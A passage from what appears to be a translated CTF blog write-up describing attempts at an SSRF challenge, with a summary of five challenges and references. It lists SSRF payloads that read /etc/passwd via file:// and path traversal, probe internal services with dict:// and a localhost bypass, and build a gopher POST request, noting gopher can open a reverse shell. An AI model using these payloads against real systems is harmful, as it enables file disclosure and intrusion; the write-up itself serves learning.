Step 2: a simple scan found that the admin.php sensitive directory was 302 redirected, and the SSRF 302 redirection vulnerability was suspected.

The third step is to make a simple redirection attempt. After finding success, make various attempts.

  • index.php?url=http://www.baidu.com
  • index.php?url=dict://127.0.0.1/info
  • index.php?url=file:///etc/passwd
  • index.php?url=.../.../.../.../.../etc/passwd
  • index.php?url=file:///var/www/html/admin.php
  • index.php?url=http://127.0.0.1.sslip.io/admin.php

Other topics have been successful, but this one is more difficult.

Step 4: try to exploit the SSRF vulnerability of the local PHP server and prompt that there are no resources.

  • index.php?url=http://127.0.0.1/XCTF/test.php

The fifth step is to try to redirect the query by using the local connection.

  • index.php?url=http://121.36.147.29:20001/admin.php

Prompt that poc request is required, indicating that the admin.php file exists, but authorization or other methods are required.

Step 6: use gopher protocol to jump through 302 + local PHP and post key to flag.php, but prompt.

  • ?url=gopher://121.36.147.29:20001/ _POST%252520/admin.php%252520HTTP/1.1

Gopher protocol: gopher supports sending get and post requests. The get request package and post request package can be intercepted first, and then the request conforming to gopher protocol can be constructed. Gopher protocol is one of the most powerful protocols in the use of ssrf (commonly known as universal protocol), which can be used to rebound shell

Step 7: at this time, we realized that we need to construct gopher redirect Payload through request characteristics, combined with SQL injection implementation (topic easysql), but we really didn't do it.

The curl method is also tried during.

We also see successful examples of other topics.

3.SQL injection error attempt

SQL injection directly into Sqlmap will fail, and blind injection implementation is required, as described earlier. However, the difficulty is time blind injection combined with SSRF.

summary

Here, the introduction of this article is over. I hope it will be helpful to you. Here is a brief summary of the knowledge points of each question.

  • Question 1 power_cut dirsearch scan website + backup file + deserialization vulnerability
  • Question 2 hate_php Code audit + bypass numbers and letters + underline + dollar sign
  • Question 3 Go0SS GO code audit + using 302 redirection + local server to realize SSRF + bypass... And//
  • Question 4 HploadHub File upload vulnerability + Apache2.conf configuration file +. htaccess+PHP get flag method + ant sword Usage Summary
  • Question 5 easysql SSRF+SQL blind injection + local bypass

As Xiaobai of network security, the author shares some self-study basic tutorials to you, mainly online notes on security tools and practical operation. I hope you like it. At the same time, the technology update is suspended due to my blog reading outside, but this article should be summarized. I hope you can make progress with me.

In short, I hope this series of articles will help bloggers. It's not easy to write articles. Don't spray if the great gods don't like it. Thank you! If the article is helpful to you, it will be the biggest driving force for my creation. Praise, comment and private chat can be used. Come on together. At the same time, I would like to thank the safety leaders in the references for sharing their articles. I know that I am very good and have to work hard.

The reference article is as follows. Thank these big guys.

  • [1] Jinmen cup – web write up ha1c9on
  • [2] Jinyubei WriteUp Chamd5 security team
  • [3] NU1L boss team and official WP
  • [4] CTF | Web security Part1: Basics - Ackeray
  • [5] Common vulnerabilities and utilization of PHP in CTF (to be continued)
  • [6] CTFHub Bypass disable_function series (closed)
  • [7] SSRF vulnerability analysis and utilization (including CTF examples)
  • [8] linux curl get request_ CTF self study notes (IV)
  • [9] CTFHUB skill tree - SSRF [POST request]

Posted on Thu, 02 Dec 2021 16:33:42 -0500 by petrb